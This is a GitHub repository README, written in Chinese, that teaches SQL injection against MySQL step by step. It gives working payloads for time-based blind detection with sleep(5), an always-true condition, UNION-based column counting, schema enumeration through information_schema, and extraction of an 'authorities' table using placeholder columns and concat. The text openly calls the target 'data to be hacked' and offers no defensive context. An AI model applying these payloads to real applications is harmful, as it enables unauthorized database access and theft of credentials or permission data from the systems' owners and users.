xym-loveit / sql_inject

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

sql注入实例

本实例以mysql数据库为演示环境,oracle视情况处理,如:元数据库表换为:all_tab_columns/user_tab_columns

不知道当前sql是否存在sql注入漏洞?

  • 使用sleep盲测

输入正确查询条件:如文本框中输入:admin(要保证可以查询出来数据)
例如:输入探测语句(admin' and sleep(5) --'),测试观察响应时间是否延迟了5秒

  • 使用探测语句

第一个':闭合程序语句,否则会出现语句错误
第二个':闭合程序语句,否则会出现语句错误
条件:1=1,恒等式,查询所有数据

' or 1=1 --'

知道存在sql注入情况,下一步试探查询列(程序中查询列有几个?)


//一次次试探,直到出现数据为止

1=2' union select 1 --'
1=2' union select 1,2 --'
1=2' union select 1,2,3 --'
1=2' union select 1,2,3,4 --'
1=2' union select 1,2,3,4,5 --'
  ....

如何知道当前有哪些数据库,库中有哪些表?

采用数据库自带元数据表:如,mysql中的information_schema.tables,其中TABLE_SCHEMA表示库,TABLE_NAME表示表, information_schema.COLUMNS表示表中的列元数据


//其中1=2是为了将程序中第一个查询结果除去,这行语句就可以知道数据库中的表和库

1=2' union select TABLE_SCHEMA,TABLE_NAME from information_schema.tables  -- '


//其中1=2是为了将程序中第一个查询结果除去,这行语句就可以知道数据库中的表和表的列

1=2' union select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS-- '

若目标数据(待黑数据)比程序中的sql查询列少,怎么处理?


//比如当前查询有5个字段,而我们只需要1个字段则通过使用站位,如此时的:1,2,3,4

1=2' union select authority,1,2,3,4 from authorities -- '

若目标数据(待黑数据)比程序中的sql查询列多,怎么处理?


//比如程序中只查询2个字段,而我们需要黑5个字段,则可以通过使用concat函数链接诸多个字段为一个字段中返回即可

1=2' union select authority,concat(字段1,' ',字段2,' ',字段3,' ',字段4) from authorities -- '

About


Languages

Language:Java 79.5%Language:HTML 20.5%